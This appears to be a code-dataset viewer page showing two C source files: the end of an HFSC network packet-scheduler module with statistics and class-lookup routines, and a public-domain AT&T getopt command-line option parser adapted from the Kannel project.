sp->d = cl->cl_d;
sp->e = cl->cl_e;
sp->vt = cl->cl_vt;
sp->f = cl->cl_f;
sp->initvt = cl->cl_initvt;
sp->vtperiod = cl->cl_vtperiod;
sp->parentperiod = cl->cl_parentperiod;
sp->nactive = cl->cl_nactive;
sp->vtoff = cl->cl_vtoff;
sp->cvtmax = cl->cl_cvtmax;
sp->myf = cl->cl_myf;
sp->cfmin = cl->cl_cfmin;
sp->cvtmin = cl->cl_cvtmin;
sp->myfadj = cl->cl_myfadj;
sp->vtadj = cl->cl_vtadj;
sp->cur_time = read_machclk();
sp->machclk_freq = machclk_freq;
sp->qlength = qlen(&cl->cl_q);
sp->qlimit = qlimit(&cl->cl_q);
sp->xmit_cnt = cl->cl_stats.xmit_cnt;
sp->drop_cnt = cl->cl_stats.drop_cnt;
sp->period = cl->cl_stats.period;
sp->qtype = qtype(&cl->cl_q);
sp->qstate = qstate(&cl->cl_q);
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
red_getstats(cl->cl_red, &sp->red[0]);
#endif /* CLASSQ_RED */
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
rio_getstats(cl->cl_rio, &sp->red[0]);
#endif /* CLASSQ_RIO */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
blue_getstats(cl->cl_blue, &sp->blue);
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
sfb_getstats(cl->cl_sfb, &sp->sfb);
return (0);
}
/* convert a class handle to the corresponding class pointer */
static struct hfsc_class *
hfsc_clh_to_clp(struct hfsc_if *hif, u_int32_t chandle)
{
u_int32_t i;
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
/*
* first, try optimistically the slot matching the lower bits of
* the handle. if it fails, do the linear table search.
*/
i = chandle % hif->hif_maxclasses;
if ((cl = hif->hif_class_tbl[i]) != NULL && cl->cl_handle == chandle)
return (cl);
for (i = 0; i < hif->hif_maxclasses; i++)
if ((cl = hif->hif_class_tbl[i]) != NULL &&
cl->cl_handle == chandle)
return (cl);
return (NULL);
}
static const char *
hfsc_style(struct hfsc_if *hif)
{
return ((hif->hif_flags & HFSCIFF_ALTQ) ? "ALTQ_HFSC" : "HFSC");
}
int
hfsc_setup_ifclassq(struct ifclassq *ifq, u_int32_t flags)
{
#pragma unused(ifq, flags)
return (ENXIO); /* not yet */
}
int
hfsc_teardown_ifclassq(struct ifclassq *ifq)
{
struct hfsc_if *hif = ifq->ifcq_disc;
int i;
IFCQ_LOCK_ASSERT_HELD(ifq);
VERIFY(hif != NULL && ifq->ifcq_type == PKTSCHEDT_HFSC);
(void) hfsc_destroy_locked(hif);
ifq->ifcq_disc = NULL;
for (i = 0; i < IFCQ_SC_MAX; i++) {
ifq->ifcq_disc_slots[i].qid = 0;
ifq->ifcq_disc_slots[i].cl = NULL;
}
return (ifclassq_detach(ifq));
}
int
hfsc_getqstats_ifclassq(struct ifclassq *ifq, u_int32_t slot,
struct if_ifclassq_stats *ifqs)
{
struct hfsc_if *hif = ifq->ifcq_disc;
IFCQ_LOCK_ASSERT_HELD(ifq);
VERIFY(ifq->ifcq_type == PKTSCHEDT_HFSC);
if (slot >= IFCQ_SC_MAX)
return (EINVAL);
return (hfsc_get_class_stats(hif, ifq->ifcq_disc_slots[slot].qid,
&ifqs->ifqs_hfsc_stats));
}
#endif /* PKTSCHED_HFSC */
|
the_stack_data/97013331.c | /**
* @file attgetopt.c
* @ingroup wbxml2xml_tool
* @ingroup xml2wbxml_tool
*
* AT&T's public domain implementation of getopt.
*
* From the mod.sources newsgroup, volume 3, issue 58, with modifications
* to bring it up to 21st century C.
*
* Taken from Kannel Project (http://www.kannel.org/)
*/
#include <stdio.h>
#include <string.h>
#define ERR(s, c) if (opterr) (void) fprintf(stderr, "%s: %s\n", argv[0], s)
int opterr = 1;
int optind = 1;
int optopt;
char *optarg;
int getopt(int argc, char **argv, char *opts)
{
static int sp = 1;
register int c;
register char *cp;
if(sp == 1) {
if(optind >= argc ||
argv[optind][0] != '-' || argv[optind][1] == '\0')
return(EOF);
else if(strcmp(argv[optind], "--") == 0) {
optind++;
return(EOF);
}
}
optopt = c = argv[optind][sp];
if(c == ':' || (cp=strchr(opts, c)) == NULL) {
ERR(": illegal option -- ", c);
if(argv[optind][++sp] == '\0') {
optind++;
sp = 1;
}
return('?');
}
if(*++cp == ':') {
if(argv[optind][sp+1] != '\0')
optarg = &argv[optind++][sp+1];
else if(++optind >= argc) {
ERR(": option requires an argument -- ", c);
sp = 1;
return('?');
} else
optarg = argv[optind++];
sp = 1;
} else {
if(argv[optind][++sp] == '\0') {
sp = 1;
optind++;
}
optarg = NULL;
}
return(c);
}
|
Subsets and Splits